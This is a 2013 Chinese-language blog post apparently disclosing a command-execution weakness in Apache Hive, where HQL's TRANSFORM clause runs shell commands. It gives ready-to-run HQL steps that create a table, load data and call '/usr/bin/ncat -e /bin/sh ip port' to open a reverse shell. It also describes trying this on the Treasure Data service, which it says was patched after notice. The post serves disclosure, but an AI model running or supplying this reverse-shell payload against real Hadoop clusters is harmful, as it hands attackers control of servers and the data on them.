Author: kindle
Date: 2013-02-9
Hive是建立在 Hadoop 上的資料倉庫基礎構架。它提供了一系列的工具,可以用來進行資料提取轉化加載(ETL),這是一種可以存儲、查詢和分析存儲在 Hadoop 中的大規模資料的機制。Hive 定義了簡單的類 SQL 查詢語言,稱為 QL,它允許熟悉 SQL 的使用者查詢資料。同時,這個語言也允許熟悉 MapReduce 開發者的開發自定義的 mapper 和 reducer 來處理内建的 mapper 和 reducer 無法完成的複雜的分析工作。
漏洞詳情:
HQL可以通過transform自定義Hive使用的 Map/Reduce 腳本,進而調用shell/python等語言,導緻攻擊者可以通過hive接口等相關操作方式直接擷取伺服器權限
測試代碼:
cat /root/test
1 test
建立測試表 create table if not exists kindle(id int,test string); 通過transform來自定義hive使用的shell指令,反彈shell select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle; 删除測試表 drop table kindle;
漏洞狀态:
通知了部分大公司,尚未聯系官方
————————————————————————————-邪惡的分割線————————————————————————————-
實戰案例:
測試Treasure Data叢集(Hadoop-based Big Data as a Service on the Cloud | Treasure Data)
過程:
<a href="http://www.sectop.org/wp-content/uploads/2013/02/%E6%9C%AA%E5%91%BD%E5%90%8D.png"></a>
<a href="http://www.sectop.org/wp-content/uploads/2013/02/%E6%9C%AA%E5%91%BD%E5%90%8D2.png"></a>
修複狀态:
已經通知Treasure Data官方,修補好了,如下圖官方的回複
<a href="http://www.sectop.org/wp-content/uploads/2013/02/QQ%E6%88%AA%E5%9B%BE20130217093153.jpg"></a>
建立/root/test檔案,内容是1(或者任意int型數字)
create table if not exists kindle(id int);
導入資料(這步很關鍵,沒資料無法觸發漏洞)
LOAD DATA LOCAL INPATH ‘/root/test’ INTO TABLE kindle;
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
drop table kindle;
http://www.sectop.org/2013/02/treasure-data-hive-vuln/